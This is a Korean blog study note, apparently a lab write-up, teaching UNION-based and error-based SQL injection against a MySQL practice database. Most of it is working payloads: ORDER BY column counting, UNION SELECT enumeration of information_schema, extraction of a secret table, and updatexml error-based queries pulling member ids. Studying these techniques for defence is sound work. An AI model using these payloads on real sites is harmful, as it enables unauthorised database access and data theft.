Union SQL Injection
1) SQL 질의문이 화면에 보이는 곳
ex) 게시판, 회원정보(마이페이지), 주소검색 등
2) SQL 질의문이 화면에 안나오는 곳
ex) 로그인, 아이디 중복체크
1) SQL 질의문이 화면에 보이는 곳
UNION SQL Injection
* 지켜야할 사항
> 앞에 있는 select문과 뒤에 있는 select문의 컬럼이 같아야한다.
> 각 위치에 맞는 컬럼 타입도 같아야한다.
select id,pass from member
union select id, title from board
SQL Injection을 시작하기 전에...
서버가 어떤 SQL 질의문 사용하는지 추측
(1) 추측

select ???? from ???? where name like '%___%'
(2) 취약점 확인
SQL Injection을 할 때 웬만하면 주석은 안쓰는게 좋다.
수많은 데이터를 출력하기 때문에 서버장애가 될 수 있다.
(3) 컬럼 수 확인


watch%' order by 4 # 까지 동작하고
watch%' order by 5 # 에서 에러 확인
컬럼 4개 확인
(4) data 출력 위치 파악

WAS에서 모든 컬럼을 다 보여주지는 않는다.
사진에서는 watch%' union select '1','2','3','4 sql문을 썼다.
전체 문구로 보면 이런 형태로 될 것이다.
select ??? from ???
where name like '%watch%' union select '1','2','3','4%'
1번이 안보이니 2,3,4 위치에 보일 데이터를 출력한다.
(5) database 이름 확인

Mysql DB명 확인 -> select database()
2 위치에 db명을 출력하고 싶다 -> watch%' union select '1',database(),'3','4
전체문구는 아래와 같다.
select ??? from ???
where name like '%watch%' union select '1',database(),'3','4%'
(6) 테이블 이름
Mysql 테이블 조회 구문
select table_name from information_schema.tables
where table_schema = 'segfault_sql'
아래와 같이 적용하면 된다.
watch%' union select '1',table_name,'3','4' from information_schema.tables
where table_schema = 'segfault_sql' #

(7) 컬럼 이름
컬럼 조회
select column_name from information_schema.columns
where table_name='secret' #secret 테이블의 컬럼 조회
적용
watch%' union select '1',column_name,'3','4' from information_schema.columns
where table_name='secret' #

(8) data 추출
secret 테이블의 secret컬럼의 data를 추출
select secret from secret
적용
watch%' union select '1',secret,'3','4' from secret #

Error 메시지가 화면에 출력될 때는 Error Based SQL Injection
-> DB error 메시지
(1) 추측
내가 입력하는 데이터가 서버에서 어디로 들어가는지 추측
(2) DB 에러 확인

(3) error based SQL Injection Function
and (내가 넣고 싶은거) and '1'='1
- updatexml
1' and updatexml(null,concat(0x3a, 'test'),null) and '1'='1 # 값이 잘 나오면 아래 구문으로 다시 시도
1' and updatexml(null,concat(0x3a, (select test)),null) and '1'='1

sql문이 잘 적용되는걸 확인했으니 이런 구문으로 SQL Injection을 진행하면 될 것 같다.
1' and updatexml(null,concat(0x3a, (sql문)),null) and '1'='1
(4) DB 이름 : segfault_sql
1' and updatexml(null,concat(0x3a, (select database())),null) and '1'='1

(5) 테이블 이름
select table_name from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1
1' and updatexml(null,concat(0x3a, (select table_name from information_schema.tables
where table_schema = 'segfault_sql')),null) and '1'='1

limit을 써서 1개만 반환되도록 sql구문을 수정해야겠다.
limit은 oracle에선 없다.
limit [어디에서부터], [몇개]
1' and updatexml(null,concat(0x3a, (select table_name from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1)),null) and '1'='1
(6) column 이름
1' and updatexml(null,concat(0x3a, (select column_name from information_schema.columns
where table_name='secret' limit 0,1)),null) and '1'='1

(7) data 추출
secret 테이블의 idx 컬럼의 data를 추출하고 싶다.
select idx from secret
1' and updatexml(null,concat(0x3a, (select id from member limit 0,1)),null) and '1'='1

'Security > Study' 카테고리의 다른 글
| [6주차] Stored XSS (0) | 2023.05.04 |
|---|---|
| [5주차] Blind SQL Injection / 대응방안 (0) | 2023.04.28 |
| [3주차] SQL Injection (0) | 2023.04.14 |
| [2주차] Cookie, Session (0) | 2023.04.08 |
| [1주차] Web (0) | 2023.03.31 |